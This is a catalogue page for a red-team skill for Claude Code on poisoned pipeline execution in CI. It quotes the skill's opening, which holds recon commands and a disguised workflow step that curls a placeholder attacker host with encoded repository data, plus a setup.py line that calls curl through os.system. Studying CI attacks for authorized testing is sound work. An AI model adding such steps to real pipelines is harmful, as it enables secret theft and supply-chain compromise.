poisoned-pipeline-execution

poisoned-pipeline-execution is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 71 tokens per session (2,022 once invoked), scanned A, original, Apache-2.0.

A security guide to poisoned pipeline execution, where attacker-controlled build files or pull requests cause a continuous-integration (CI) job to run attacker code.

In plain words
What is it for?
It is for reviewing Makefiles, package scripts, Gradle files, workflow triggers, fork pull requests, and other files that CI executes.
Why use it?
It helps identify CI setups that build untrusted changes before review and may expose build machines, tokens, or deployment access.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It is for reviewing Makefiles, package scripts, Gradle files, workflow triggers, fork pull requests, and other files that CI executes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/poisoned-pipeline-execution
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 6,504 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill poisoned-pipeline-execution
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for poisoned-pipeline-execution

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/poisoned-pipeline-execution/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/poisoned-pipeline-execution/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for poisoned-pipeline-execution

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/poisoned-pipeline-execution"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/poisoned-pipeline-execution.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 71 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,022 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 66
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00071 $0.02022
Opus 5.5 $0.00028 $0.00809
Sonnet 5.5 $0.00014 $0.00404
Haiku 4.5 $0.00007 $0.00202

Measured 2mo ago against content hash d53273aceb43, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

poisoned-pipeline-execution scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

import os; os.system("curl -s https://<COLLAB>/setuppy")
packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md · 191 lines

How it starts

The opening of the file, as written. The whole thing — 191 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Poisoned Pipeline Execution (PPE)

PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):

  • Direct PPE (D-PPE): attacker edits the pipeline config itself (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.
  • Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.

Recon — does the target build untrusted code?

# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.

Direct PPE — edit the workflow itself

# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC — DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"

Read the full file on GitHub · 191 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 191 lines · 71 tokens per session scan A d53273aceb43

Subscribe to this mod's changes

poisoned-pipeline-execution is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,504 stars, last pushed 8d ago), licensed Apache-2.0. It adds 71 tokens to every session and 2,022 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

poisoned-pipeline-execution compared with skills from other repositories

poisoned-pipeline-execution next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
poisoned-pipeline-executionPurpleAILAB/DecepticonSkill6.5k8d agoApache-2.0A71Claude Code
turborepoHarmeet10000/skillsSkill76mo agoMITA111Claude Code, Codex
deployment-pipeline-designHarmeet10000/skillsSkill76mo agoMITA41Claude Code, Codex
interactive-dashboardginlix-ai/LangAlphaSkill2.2kyesterdayApache-2.0A21Claude Code, Codex
company-profileginlix-ai/LangAlphaSkill2.2kyesterdayApache-2.0A68Claude Code, Codex
meta-long-running-build-watchdogopensquilla/opensquillaSkill7.1k6d agoApache-2.0A131Claude Code
implementing-semgrep-for-custom-sast-rulesxalgorix/xalgorixSkill1.3kyesterdayApache-2.0A37Claude Code, Codex